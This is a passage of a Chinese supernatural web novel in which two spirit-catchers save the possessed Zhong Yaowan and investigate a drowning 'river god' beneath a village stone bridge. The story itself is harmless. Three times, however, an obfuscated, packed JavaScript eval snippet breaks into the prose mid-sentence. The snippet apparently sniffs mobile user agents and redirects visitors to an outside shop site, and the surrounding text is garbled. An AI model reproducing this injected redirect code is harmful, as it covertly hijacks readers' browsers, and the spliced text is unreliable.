虽然今天晚上应归燎已经给钟遥晚做过思想工作了,但是他此刻还是躺在床上翻来覆去地睡不着。 应归燎这个没心没肺的倒是脑袋一沾枕头就睡着了,今天的住宿条件还比前两天在山村里的时候要好多了,他睡得欢了甚至还会打鼾,把钟遥晚吵得直想往他嘴里塞纸团。 钟遥晚到现在还是不能够相信自己有灵力的这件事情。 月光透过窗户洒进来。他躺在床上,举起手,看着月光在指尖凝结出的霜色光斑。脑海中不自觉地开始回忆起和应归燎相遇以来的所有事情。 当初他们第一次遇到二丫的思绪体以后,应归燎曾经反问他居然没有见过怪物的事情。现在回想起来,原来是因为他早就知道自己有灵力了,所以下意识地觉得自己也是捉灵师,或者是相关工作的吗? 还有他当时草率的净化。难道是因为二丫的灵魂其实是自己净化的,那块砖头交到应归燎手里的时候早就已经净化好了吗? 他回想起了那段自动钻进脑海中的记忆,回想起了触摸到思绪体时,那阵像是心跳一般的鼓动。 这都是因为自己有灵力的缘故吗? 陈暮和钟棋瞒着他没有灵力的原因,他自己也能多少想明白。 钟遥晚和二丫一样,自幼丧母,父亲也不知道是谁。但不同的是,他却从爷爷奶奶那里得到了他们全部的、毫无保留的关爱。 小的时候,他就算是爬树擦破了皮,爷爷奶奶都会急得带他去看医生。 不告诉他有灵力,大抵是觉得不管是灵力还是鬼怪,都距离他的生活太远了吧。 毕竟陈暮和钟棋,对钟遥晚也没有太大的期许,他们说得最多的就是,希望钟遥晚可以做一个普通的人,开心快乐地过一辈子。 可是就是这样对他毫无保留地爱着的爷爷,他却连爷爷生前有什么执念都不知道。 * 钟遥晚不知道自己是什么时候睡着的,意识像沉入深海的石子,在混沌的梦境中不断下坠。 恍惚间,他仿佛又回到了小时候,爷爷粗糙的大手牵着他走过村北的石桥。 “爷爷,水里有什么在发光……” 他听见自己稚嫩的声音在梦境中回荡,而老人突然收紧的手掌让他吃痛。 他下意识地望向爷爷,可是记忆中爷爷总是慈祥的面容此刻却模糊不清,只有那句被夜风吹散的低语格外清晰: “阿晚别看,那里什么都没有……” 梦境在爷爷的声音落下的顷刻间突然扭曲,河水化作黏稠的黑雾,一丝一缕地从江河中腾涌而起,直直地缠上他的脚踝。 而梦中的爷爷也不知道在什么时候忽然不见了,脚踝上牵扯住他的力量也是那么地明显,直白而又诡异地缠绕着他,将他拽入冰冷的深渊中。 “钟遥晚?钟遥晚……钟遥晚!!”耳畔突然传来熟悉的声音。 应归燎见钟遥晚一直不醒,还以为他是被魇住了,正要采取手段的时候就见钟遥晚一下从睡梦中惊醒,猛地坐了起来。 他醒来时额上布满了冷汗,胸口剧烈起伏着,一副惊魂未定的样子。 应归燎连忙凑了过来,询问道:“怎么了?” “河……”钟遥晚小声呢喃着。 “什么?”应归燎没有听清钟遥晚的话,他又凑近了一些,几乎将耳朵贴到了他嘴唇上。 钟遥晚深吸了一口气,方才的梦境中的画面也逐渐在脑海中明朗起来:“……河!那条河有问题!” 钟遥晚的喊声在清晨的房间里炸开,惊得窗外的麻雀扑棱棱飞起。 应归燎捂着被震得发麻的耳朵,龇牙咧嘴地往后踉跄了两步。 他才回过神,就见钟遥晚已经赤着脚跳下床,他踩在冰凉的地上,却似乎根本感觉不到温度一般,直直地就要往门外走去。 “临江村的那条河!”钟遥晚的声音嘶哑颤抖,带着噩梦后残留的惊悸,“小时候爷爷从来不让我靠近江边,每次路过都走得特别快……” “我操,钟遥晚?!”应归燎一个箭步上前,双手按住他的肩膀用力摇晃,“你他妈被餍住了是不是?!” 钟遥晚涣散的目光穿透了应归燎的身体,仿佛在看某个遥远的幻影。 他梦游般地绕过挡在面前的应归燎,嘴唇翕动着重复:“河、那条河……爷爷叫我过去……” “钟遥晚!!” 眼看钟遥晚的手指就要碰到门把手,应归燎猛地上前去,结实的手臂像铁钳般箍住钟遥晚的腰身,硬生生将人拖离门边。 “砰——” 两人重重摔在床垫上,老旧的床板发出不堪重负的呻吟。应归燎用全身重量压制着挣扎的人,膝盖死死抵住钟遥晚乱蹬的双腿,却在对方一个暴起时险些被掀翻。 “钟遥晚!”应归燎大声叫着他,钟遥晚却似是没有听到。 应归燎见状,右手高高扬起—— “啪!” 清脆的声响在房间里炸开,钟遥晚的脸被打得偏向一侧,可那双眼睛依然空洞得可怕。他扩散的瞳孔几乎吞噬了全部虹膜,像是两个深不见底的黑洞。 “爷爷……在……河底……” 钟遥晚的喉咙里挤出几个破碎的音节,他的下颌机械地开合着,仿佛被无形的丝线操控的人偶。 应归燎正要凑近听清,忽然一抹诡异的幽光刺入视线。 钟遥晚左耳上的翠玉耳钉正泛着妖异的绿芒,更可怕的是,那光芒竟随着他呢喃的节奏忽明忽暗。 就像…… 就像在呼吸一样。 “见鬼!”应归燎暗骂一声,却因这分神瞬间遭到反击。 钟遥晚被梦魇控制的身体爆发出可怕的力量,一个肘击重重撞在他尚未愈合的伤口上。 应归燎眼前一黑,钳制的力道不由得松了几分。 就在这千钧一发之际,房门忽然打开了。 那人没有说话,应归燎马上就知道了过来的是唐佐佐。 应归燎吼道:“他被餍住了,我快撑不住了!快去找绳子!” 唐佐佐闻言以后,身影如一阵风一般从门口掠过,再回来的时候身后还跟着脸色惨白的陈暮。 老人看到钟遥晚被压制在床上的时候,发出一声惊叫:“老天爷啊!这是怎么回事?!” 陈暮的话音才落下,唐佐佐就已经麻利地配合着应归燎将钟遥晚绑在了床上。 他们似乎很熟悉做这事,每一个绳结都恰到好处地限制住了钟遥晚的挣扎,却不会勒伤他的皮肤。 应归燎的伤口在剧烈动作下再次崩裂,鲜血浸上衬衫,晕开触目惊心的暗红色。 应归燎现在看起来有些狼狈,额前的碎发被冷汗浸透,在急促的喘息间勉强平复呼吸:“老人家,你孙子现在被餍住了,他听不见。”他的声音低沉,“现在可以告诉我们他那个耳钉到底是什么东西了吧?” “耳、耳钉?”陈暮枯瘦的手指神经质地绞着衣角,仿佛在一段可怕的回忆中挣扎。 应归燎根本等不及她犹豫,厉声打断道:“老人家!再不说你家阿晚可就要去跳河了!” 这句话像是一记重锤,击碎了老人最后的防线。 陈暮踉跄着扶住墙壁,声音支离破碎:“那个耳钉,是、是阿离的!阿晚他有灵力枯竭症,阿离……他妈妈,就把自己所有的灵力都锁在那个耳钉里,供给他了!” “灵力枯竭症?”应归燎和唐佐佐交换了一个凝重的眼神。 唐佐佐立刻意会,迅速取过了应归燎的罗盘。她的手指快速地摩挲过罗盘上的古老符文后,将罗盘贴到钟遥晚胸前。 霎时间,荧绿色的光芒从罗盘中释放出,在钟遥晚周身形成了稀薄到近乎透明的灵力场,与耳钉处凝聚着浓郁的青色光晕形成鲜明对比。 应归燎的喉结艰难地滚动了一下。 灵力枯竭症——这种罕见的体质意味着宿主体内的灵力会像漏水的容器一般不断流失。 如果没有外力补充,患者最终会像缺水的植物般枯萎而死。 “难怪他身上的灵力那么稀薄,但是耳钉里的灵力却很充沛……”应归燎小声地呢喃着现状,随后,他的声音戛然而止,仿佛被某种无形的力量掐住了喉咙。 他死死地盯着钟遥晚耳垂上那枚泛着诡异青光的耳钉,一个可怕的念头在他脑海中逐渐成形,“所以,他耳钉里的灵力是他母亲的……有人在召唤钟遥晚的母亲?” 陈暮瞪大了眼睛,浑浊的眼中满是不可置信:“什、什么意思?……阿离,可是阿离她…已经走了二十多年了啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614250|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “思绪体只有在磁场紊乱的夜里才能够实体化,但是现在是白天。”应归燎望向窗外明媚的阳光,那灿烂的光线在此刻却显得格外讽刺。 钟遥晚仍然在床上无意识地挣扎着,眼神呆滞。 “但是,无法现形不代表思绪体不存在。那东西可能正在释放出某种能量,在呼唤钟遥晚……不过如果他身体的灵力都不是属于他自己的,那性质就不同了。”应归燎的声音有些干涩,他望向不知所措的陈暮,深吸了一口气后一字一顿道,“那个思绪体在找的,是你女儿,阿离。” 房间里突然陷入死寂,连空气都仿佛凝固了。 陈暮踉跄着后退一步,苍老的脸上血色褪尽,像被抽干了所有生气,佝偻的身影就像是一片即将凋零的枯叶。 “老爷子……和阿离……”陈暮还是不敢相信,仍然寻找着各种可能性。她死死地攥住自己的衣角,指节泛出青白,却仍然没有说出一句完整的话来。 她的眼中翻涌着太多情绪——困惑、恐惧、还有一丝深藏多年的愧疚。 应归燎的眼神陡然锐利起来,他上前一步,声音沉得可怕:“老人家,你家老爷子……和你女儿之间,是不是有什么解不开的结?” “我、我不知道……都过去二十多年了……”应归燎的话像一把尖刀,狠狠刺进陈暮心口。她往后退了两步,后背撞上冰凉的墙壁,“他对阿晚那么好…怎么会……” 陈暮的声音戛然而止,她望向躺在床上的钟遥晚,“那阿晚……他现在没事吧?……他会没事的吧。” 应归燎顺着她的视线望过去,唐佐佐仍保持着那个姿势,将罗盘摁在钟遥晚身上。 只是那阵本就微弱的荧绿色光芒,在经过时间的流逝以后变得更加微弱了,像风中摇曳的烛火,随时可能熄灭。 “放心。”应归燎的声音出奇地平静,他将手腕翻转过来,只见他的手腕上出现了一截奇异的朱红色印记。那似乎是某种古老的符文,繁复的花纹沿着他的血脉划出诡异的纹路,“那个罗盘和我联结了,可以透支我的灵力,佐佐在把我的灵力输送给钟遥晚。” “只要我的灵力能够覆盖他的身体,形成屏障……”应归燎的嘴角渗出一丝血迹,他抬手利落地将血液擦拭,像是无事发生一般,声音却依旧平淡,“那么,那个思绪体应该短时间里应该找不到他了。” 他的话音刚刚落下,罗盘散发出来的微弱光芒就彻底消失了。 唐佐佐将罗盘从钟遥晚身上移开,钟遥晚却依旧双目紧闭,眉头紧锁,似乎仍被困在梦魇中无法挣脱。 “他、他怎么还……”陈暮伸出手,却在半空中被应归燎轻轻拦住。 陈暮刚要出声,应归燎就先一步道:“没事,一会儿就会醒了。” 应归燎朝唐佐佐试了个眼色,唐佐佐点了点头便走到陈暮身边,轻轻扶住老人摇摇欲坠的身子,用手机给她打字:「先回去休息吧,我们会处理好的。」 “可是阿晚他……”陈暮仍不放心地回头张望。 “这里有我们守着。”应归燎走到窗前,将窗帘拉严实,隔绝了外界最后一丝阳光。他转身时不着痕迹地扶了下墙,声音却依然平稳,“您先去休息吧,等钟遥晚醒了,我们去喊您。”他顿了顿,又放柔了语气补充道,“您先去把精神养好,等他醒了,还有很多事需要您告诉我们。” 唐佐佐搀扶着陈暮往门外走去,老人枯瘦的手指紧紧攥着她的衣袖。 房门即将关上的瞬间,陈暮突然回头——床上钟遥晚苍白的侧脸在昏暗光线中显得格外刺目,老人浑浊的眼中闪过一丝难以言喻的复杂情绪。 “咔嗒。” 门锁轻响的刹那,应归燎强撑的身体终于垮下了,他膝盖一软重重跪倒在床沿。 他喉间涌上一股暖流,鲜血喷溅在地板上的声音格外清晰,但是应归燎却感觉不到液体流经下巴的温热。 他试图抬手擦拭,却发现自己的手指像是戴了一层厚厚的手套,连嘴角的血液都擦不干净。 “草……”他含混地骂了一声,低头看向自己颤抖的双手。他明明能看到它们在动,却仿佛在看别人的肢体。 这种诡异的剥离感让应归燎不得不咬紧牙关,用尽最后的清醒抓住钟遥晚的手腕,至少那里传来的冰凉触感还能让他确认自己确实触碰到了什么。 “这下可亏大了……” 17. 支流 唐佐佐回来的时候就看到床单上的一片血迹,而那个吐血的伤患现在还在悠哉游哉地换床单。 他将床单从床上扯掉,动作娴熟得像个老练的护工,在换新的间隙还有功夫去扯钟遥晚的手指。 钟遥晚的指尖血迹斑驳,前日在老槐树下留下的伤口又被粗糙的麻绳磨破,渗出的鲜血将绳索浸染得斑斑驳驳。 应归燎将钟遥晚的手指从麻绳上拨开,还不轻不重地在他手背上拍一下:“坏手,该打。” 唐佐佐快步上前,拍了拍应归燎的肩膀。随后她的手指在空中划出流畅的弧线:「先处理你的伤。」 “我知道,我知道……”应归燎摆摆手,他的语气中透着些许的虚弱,“灵力透支而已,死不了。” 说话间,钟遥晚的手指又无意识地抓挠起绳索,在麻绳上留下新的血痕。 应归燎无奈叹了口气,只能又去不厌其烦地拨他的手指。 「我说的不是灵力。」唐佐佐重重地指了指他的腹部,那里渗出的鲜血已经将衣料浸透,暗红的血迹正在不断扩大。 应归燎顺着唐佐佐指的方向低头看了一眼,他身上的伤也在方才压制钟遥晚的过程中再次裂开,外衫都被染红了一片。 “喂!我灵力都透支了,这可是要命的问题啊!”应归燎夸张得嚷嚷着,也不知道刚刚才说过灵力问题不重要的人是谁。他捂着胸口作痛苦状,活像只被踩了尾巴的猫,“你就不能多关心一下我的生命安全吗?!” 唐佐佐懒得理他,直接给他甩了一个“少来这套”的眼神,随后径自坐到钟遥晚床边,承担起应归燎刚刚的工作。 她从医疗箱中找出了几张创口贴和消毒棉,将钟遥晚手指上的伤口都仔细处理好。随后还不忘用脚尖将地上的医疗箱踢到应归燎跟前:「自己搞定,然后把床单换了。」 “铁石心肠啊你!”应归燎嘴上抱怨着,手上却老老实实地打开医疗箱,开始龇牙咧嘴地给自己换药。 等钟遥晚醒已经是几个小时以后了,最先感受到的是耳边聒噪的动静。 “不是,小哑女,你还有没有人性啊?” 是应归燎的声音。 钟遥晚的睫毛轻轻颤动,却懒得睁开眼睛。 应归燎夸张地嚷嚷着,耳畔还有隐约的布料摩擦的窸窣声,似乎是唐佐佐在比划什么。 在吵架吗? “你明明知道我不吃甜粽子的,你给我买这个回来是什么意思?!” …… 要不然还是再睡会儿好了。 钟遥晚觉得无聊,刚要翻身却发现自己的身体似乎被牢牢地禁锢住了动弹不得。 他似乎是被绑住了。 这个认知让他瞬间清醒过来,钟遥晚猛地睁开眼睛,正对上应归燎凑近的脸。 “哟,睡美人终于舍得醒啦?”应归燎嘴里还叼着半个粽子,说话的时候糯米里差点掉下来。他三两口把粽子咽下去,笑嘻嘻地凑近,“你再不醒,我就要考虑用王子吻醒公主的招数了。” “滚蛋!”钟遥晚一开口就发现自己嗓子哑得厉害,“你吵得我头疼。” 他低头看了一眼,发现自己身上被麻绳圈圈绕绕地缠着,嘴角抽了抽:“你们这是…在搞什么行为艺术?” 窗边的唐佐佐忍不住笑了出来,她挽起嘴角,只是仍然没有声音。 应归燎麻利地帮他解开绳子,嘴里不停:“你睡觉的时候被餍住了,你可不知道,你被餍住的时候力气大得不行!框框砸了我好几拳啊!” “活该。”钟遥晚翻了个白眼,绳子松开以后,他接过唐佐佐递过来的水杯,抿了一口,“所以我到底是怎么了?” “这个嘛……”应归燎思索了一下,随后继续,“说来话长,可能要从盘古开天辟地开始说起……” “说重点!!”钟遥晚揉着太阳穴打断他。 “好吧好吧,简单地说就是,你睡觉的时候被餍住了。”应归燎收起了玩笑的表情,“你还记得你刚刚从梦吗?” “梦?”钟遥晚一愣,他沉吟着认真回忆了一番,随后缓缓道,“我好像梦到了小时候发生的事情,梦到我和我爷爷一起去江边……那里有一座石桥。水底下好像有东西,但是我爷爷不让我看。” “就这?”应归燎眨了眨眼,“你闹成那样,我还以为得梦到什么上古神兽呢!” 钟遥晚忍无可忍,抓起枕头就砸过去:“你就不能正经一分钟!” 应归燎笑着躲开了枕头攻击,他刚要说什么,却见钟遥晚突然陷入沉思。 “我好像……”钟遥晚的眼神逐渐聚焦,凝在应归燎脸上,“还梦到你了。” “我?”应归燎的笑容僵在脸上。 “对。”钟遥晚点点头道,他直直地望向应归燎,目光尖锐,“我梦到你打了我一巴掌。” 应归燎的喉结明显地滚动了一下,他尴尬地挪开了视线,干笑两声:“哈哈……是吗?我怎么可能会打你巴掌呢。哦!对了——既然梦到江边,不如下午去实地看看?说不定能找到什么线索……” 他的声音在钟遥晚锐利的目光下越来越小,最后化作一声轻咳。 唐佐佐看应归燎吃瘪的样子,在旁边笑得腰都直不起来,好不容易缓过来了才掏出手机,快速打字:「去看看吧,所有案子都是和江有关的,很可能思绪体就在那里。」 “行,一会儿去看看。”钟遥晚点头,目光却仍若有所思地在应归燎脸上扫了一圈。 应归燎见钟遥晚不再追究,也跟着长舒了一口气。 午饭过后,三人正准备出门,陈暮却拦在门口。老人布满皱纹的手紧紧攥着钟遥晚的衣袖:“阿晚啊,你才刚醒,再休息会儿……” “奶奶,我没事。”钟遥晚轻声安抚,却被陈暮更用力地拉住。 应归燎见状,上前一步正色道:“老人家,您想想,要是钟遥晚在家又被魇住了,我们都不在……” 他故意没说完,但意思已经很明显。 陈暮的手一颤,最终还是慢慢松开了。她颤抖着从怀里掏出一个小香囊塞进钟遥晚手里:“把这个带上……保平安的……” 钟遥晚握紧香囊,点点头:“我很快回来。” 走出院门时,应归燎回头看了眼仍站在门口的张望的陈暮,压低声音道:“老人家好像知道些什么……” 钟遥晚摩挲着香囊,没有答话。正午的阳光照在他身上,心头却像是有一股驱不散的寒意。 三人沿着江岸缓步前行,潮湿的江风裹挟着柴油与江水的气息扑面而来。码头上工人们正在忙着装卸货物,丝毫看不出上个月曾经发生过翻船事故的痕迹。 船运公司为了不弄混员工,所有工人都穿着公司制服。这会儿“昌运船务”的船刚刚靠岸,工人们穿着红色的制服跑上跑下,在灰蒙蒙的码头格外扎眼。 “你还记得梦里那个场景具体在哪里吗?”应归燎双手插兜,眯着眼睛环顾四周。 阳光照在江面上,泛起刺眼的白光。 钟遥晚停下脚步,皱眉思索:“我记得……梦里好像有一座石桥。”随后他指向远处的一条支流,“在那个地方,那里我爷爷一直不让我去。” 他们继续顺着支流往上游走,喧闹的码头声渐渐远去。 拐过一个弯以后,一座古朴的石桥突然出现在眼前。桥身爬满青苔,桥墩上还残留着被江水冲刷过的水痕。 这里的江道相比起主干道窄了不少,也许叫它河流会更加恰当。 没有了黄沙的冲击,这里的水质也比江道的要清澈不少,水里甚至还能够清晰地映出人的倒映。 “就是这座桥,和梦里一模一样。”钟遥晚的声音不自觉地压低,随后他看向一旁的应归燎,“怎么样?这里有思绪体吗。” “啊?”应归燎反应了一下才知道钟遥晚在说什么,“哦……罗盘里的灵力用完了,现在带出来也就是块破石头而已,我就把它留在家里了。” 钟遥晚一惊,虽然这里不是大海,但是河里捞针也没有好到哪里去吧! 不过对此,应归燎倒是反应平淡,耸耸肩继续道:“没事,总能找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614251|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的。” 唐佐佐率先一步走上石桥,她的脚步轻盈得像只猫。在桥上来回巡查一圈后,她转身朝两人摇了摇头,示意没有发现异常。 钟遥晚见状也登上了石桥,当他刚刚走到中间的时候,原本平静的河面却突然翻涌起来。 清澈的河水卷起了泥沙,变得浑浊不已。 可是这种异状持续的时间很短,钟遥晚才探头去看河水就再次平静了下来,只余下几圈未散的涟漪。 钟遥晚有些不解,可是一抬头却发现唐佐佐和应归燎的眉头紧锁着,表情很凝重的样子。 “怎么了?你们看到什么了?”钟遥晚问。 “没看到什么。”应归燎回答。 没看到什么你们怎么还跟吃了死孩子一样! 可是就在钟遥晚要发作的时候,应归燎又继续接上了话,他的声音很低沉,和平时那副欢脱的样子完全不一样:“你还记不记得,我和你说过思绪体都是在夜晚才能实体化的。白天还能掀起风浪的话,说明这东西的力量已经很强了。” 应归燎看了一眼钟遥晚,随后喃喃继续:“而且它很明显对你有反应,不过早上你被餍住的时候,我给你传了一点灵力。现在你身上的灵力是我的,它一时分辨不清,所以才没有兴风作浪。” 唐佐佐望着水面,表情凝重。她突然急促地比划了几个手势,应归燎的脸色更难看了:“佐佐说,水下的东西不止一个……它们在聚集。” 仿佛是为了印证他的话一般,整段河道忽然暗沉下来,像是被一团巨大的阴影笼罩。 像是有人在河底吐息一般,无数细小的气泡争先恐后地涌上水面,在水面炸开发出诡异的“啵啵”声,如同某种可怖的低语。 钟遥晚下意识地后退了一步,后背抵上了冰凉的桥栏。 那些气泡破裂的声音越来越密集,就像是水底聚集的东西越来越多了,每一个爆裂的气泡都仿佛在宣告——有什么东西正在苏醒。 唐佐佐突然从兜里摸出了一枚硬币,毫不犹豫地丢进水里。 硬币在接触到水面的瞬间就像是被什么拉扯住了一般直坠而下,连一丝水花都没有溅起。 “走吧,我们先回去。”应归燎立刻就做出了判断,“既然知道这里有脏东西就好办多了,直接去问你奶奶,你爷爷和这里有什么渊源就好了。” 几乎在他话音落下的一瞬间,钟遥晚忽然感觉到身体里似乎有一种奇异又陌生的力量开始加速流淌。 唐佐佐的反应比他更快,在注意到异常的那刻猛地拽住两人向桥下狂奔。 钟遥晚踉跄着被拖出几步,身后骤然炸开震耳欲聋的轰响。 回头刹那,他看见一道两人高的巨浪狠狠拍在方才站立的位置。 飞溅的水珠在阳光下折射出暗色光芒,在尚未平息的水面下,隐约可见数道黑影,正疯狂游窜。 三人一口气跑出几十米远,直到确认身后没有异状,才气喘吁吁地停下脚步。 钟遥晚撑着膝盖,大口喘气,额前的碎发被汗水浸湿贴在脸上。 他回头望向石桥方向——河面已经恢复了平静,仿佛方才的惊涛骇浪只是一场幻觉。 阳光的晖色洒在水面上,泛起点点的粼粼波光,竟显出了几分宁静。 “这……这到底……”钟遥晚的气还没有喘匀,话都说不利索。 应归燎经过了一阵折腾以后脸色苍白,嘴唇泛着不自然的青白色,连声音中都透着几分掩盖不住的虚弱:“先别管这些,我们先回去。” 唐佐佐也掏出了手机,飞快打字:水里的东西在等天黑,我们得赶紧离开这里。 钟遥晚点点头,正打算起身的时候忽然注意到应归燎的异常:“你怎么了?” 应归燎胡乱抹了把脸上的汗,故作轻松地扯了扯嘴角:“没事……就是这两天累了点。” 他直起身,但是身形却止不住地摇晃。 钟遥晚见状连忙上前扶住他,身体相贴的时候他可以清晰地感受到身旁传来的轻微颤抖:“就你这样还逞强?” 18. 河神 钟遥晚牢牢地架住了应归燎的胳膊。 这尊大佛嘴上说没事,但整个人几乎挂在了钟遥晚身上,走路时脚步虚浮地厉害,最后还是靠钟遥晚撑住他了才顺利挪回去。 回去的时候太阳已经西落了,在平静的江面上染上了一层金光。 今晚陈暮做了一桌子的菜,一顿饭都在对他们三个嘘寒问暖的。 应归燎折腾了一番以后,连吃饭的力气都没有了。平时巴不得一顿吃三碗,今天才吃了两口就弯下身子,把额头抵在桌上开始闭目养神。 钟遥晚和陈暮有些担心他,但是唐佐佐却说他总是这样,不用搭理他。 果然,应归燎趴了一会儿以后就好像缓过来了一些,又爬起来继续吃饭,他夹了一口菜塞到嘴里,还没下咽就含糊不清地问道:“老人家,那座石桥有什么问题吗?” “石桥?”陈暮拿着筷子的手顿了顿,“是说北边那个吧,那座桥我们村里人都很少去。不过……”她认真回忆了一下,声音中也染上了些许犹豫,“不过老爷子去世前几天,好像有往北边去过。” “是去石桥了吗?”钟遥晚一惊。 陈暮摇摇头:“不知道,我没有跟过去。” 应归燎又问:“你们村里人都不去?为什么?” 陈暮:“说是那条河里住着河神,一靠近就会从河底冒泡泡,所以没人敢去。” “河神?!”应归燎和钟遥晚异口同声。 钟遥晚从小就在临水村长大,这也是他第一次听说河神的事。 “对。”陈暮点头,她看了一眼应归燎和唐佐佐,那目光似是在试探,见他们没有反应以后才继续道,“我和老爷子……我们都不希望阿晚知道自己有灵力的事情,老爷子年轻的时候就是做这一行的,太危险了,我们不希望阿晚也去冒险。”她目光深沉地看了一眼钟遥晚,“阿晚只要平安地长大就好了。” 钟遥晚一愣。 这个理由和他猜测的一样,但是真切听到的时候还是让他不自觉动容。 “以前,那条河像是会吃人一样,经过它的人总是会被莫名其妙地溺死,老爷子是当时村里请来的捉灵师。自从他净化了河神以后,这几十年里,都没有发生过河神事件了。”陈暮说,“所以年轻一辈的孩子都不知道河神。” 应归燎眯了眯眼睛:“老人家,您昨天说溺死的人,都是在哪里被发现尸体的?石桥那儿的河里吗?” 陈暮想了想:“是在江里。有的是渔民发现的,有的是往来的货船发现的。” 应归燎:“但是那条河和江是相通的吧,您怎么知道不是河神作祟呢?” 陈暮:“我其实也没怎么见过被河神溺死的人,每次发现了溺死的人以后,尸体旁边总是围着一圈人,但是我娘都不让我看。”她说着说着,声音忽然低下去了两分,“只是有一次,我和陈阿婆——就是嫁到城里的那个,我们一起偷偷去了那座石桥。其实我们之前也偷偷去过石桥,石桥底下会冒泡泡,我们觉得很有趣,不过每次都没有事情发生。我们一直觉得是村里人大惊小怪,太古板了。可是那一天,我们一到石桥就看到桥底的泡泡很密集,比平时要多好几倍,看起来很压抑。我们觉得很奇怪,没有久留,立刻就走了。” 钟遥晚想起了今天石桥那里发生的诡异一幕,随即皱起眉。 他没有听说过河神的传说,只是爷爷和他说过不要去石桥支流而已。但是他也和陈暮一样,和发小一起偷偷去过石桥。 小时候,大人越不让他们做的事,他们就越觉得有趣。 可是他从来没有发现过石桥底下会冒泡泡。 陈暮说着,她的脸色也开始变得难看起来:“那天晚上,我觉得很不安,一直没有睡着。在床上翻来覆去的时候,感觉窗外有人影晃过。我虽然很害怕,但还是爬起来看了,正好就看到陈阿婆,穿了一条红色的裙子,在往北边走。” 应归燎:“然后呢,她第二天溺死了?” 唐佐佐给了他一个无语的眼神,手指快速比划了一下。 应归燎恍然大悟:“哦,对哦。她现在还嫁到城里去了。” 陈暮点头:“对,她娘及时醒了,把她拉了回去。她被拉走的时候也都没有醒,像是在梦游一样。但是第二天我问她还记不记得昨晚的事情,她说一点都不记得了,她都不知道自己有出门过。可是也是那天……有人溺死在了石桥下,是个男的,据说被发现的时候也穿着红色的衣服。” 钟遥晚倒吸了一口凉气:“被河神害死的人,都穿着红色的衣服?” 陈暮:“对,而且他们都像是梦游一样,大半夜去了石桥,然后莫名其妙死在那里了。后来我也留心打听了一下,所有溺死的人都穿着红色的衣服。有的人……就像是我朋友,她原本没有穿着红色衣服,也会特地换上红色衣服了再出门。” 陈暮抬起眼睛,最后一缕血色的夕阳照进来,在她浑浊的瞳孔里映出两点诡异的红光。她的声音轻轻的,悠长地像是从远方飘来的:“自从河神被净化以后,我就再也没有见过那座石桥下的河流吐泡泡,而且这一年来,每一个死的人都没有穿着红衣服。” 三人闻言以后默契地对视了一眼。 可是他们今天去过了石桥,真切地看到河里是在冒泡泡的。 吃完晚餐以后,大家就各自回房了。 今天唐佐佐也没有出去逛,钟遥晚见她回房间以后没有关门,本想要出言提醒,却被应归燎一把拉走了。他像是报复今天唐佐佐餐桌上的“发言”一般,用差不多的话术同钟遥晚道:“她总是这样,不用搭理她。” 钟遥晚狐疑:“你怎么知道唐佐佐刚才这么说过你?” 应归燎耸耸肩膀,坦言道:“因为她每次都是这句话。” 应归燎说完以后,房间里就飞出来一个枕头,准准地砸在了应归燎的脑袋上。 还没等唐佐佐杀出来,他就拉着钟遥晚飞快逃跑了。 晚上,钟遥晚去洗澡了。 等他从浴室出来的时候却看见应归燎不在房间里了,刚要给他发消息,就看见应归燎和唐佐佐一起回来了。 唐佐佐回了房间,她依旧没有关门。 钟遥晚好奇道:“你们刚刚去哪儿了?不舒服还不好好休息?” 应归燎还是一贯的那副嬉皮笑脸的样子,好像下午那个只剩下半口气的不是他一样。他从兜里掏出一颗果冻给钟遥晚丢过去:“诺,你奶奶给的。我和佐佐去研究你们院子里那棵柿子树多大年纪了,正好遇到你奶奶了。”他说完以后还补充道,“你奶奶怪疼你的,你平时不回家还一直备着你爱吃的东西。” 钟遥晚接过了果冻:“嗯,我家里人都很疼我。” 这晚上,钟遥晚依旧没有睡好,应归燎依旧睡得没心没肺。 次日清晨,用过早饭后,三人再次出发去了石桥。 今天应归燎的脸色好了很多,但是他仍然没有带上罗盘。 陈暮说,自从钟遥晚的爷爷钟棋净化了“河神”以后,就再也没有过河神事件发生了。连那条会冒泡的河都消停了。 可是他们昨天那些气泡却真实地出现了。 像是河底住了什么生物一般。 “喂!河里的家伙都听好了!”应归燎一到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614252|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河边就开始嚷嚷,“你们都给我识相一点!我们佐佐姐可是很强的!小心把你们全都灭了!” 钟遥晚:“……”好大的口气。 奇怪的是,今天的河水平静得出奇,像是钟遥晚小时候见过的那样,没有气泡、没有巨浪,连一丝涟漪都不曾泛起。 应归燎笑着拍唐佐佐肩膀:“哈哈,这是都被你的威名给吓跑了啊!” 唐佐佐没有搭理他,翻了个白眼,绕着石桥看了一圈就离开了。 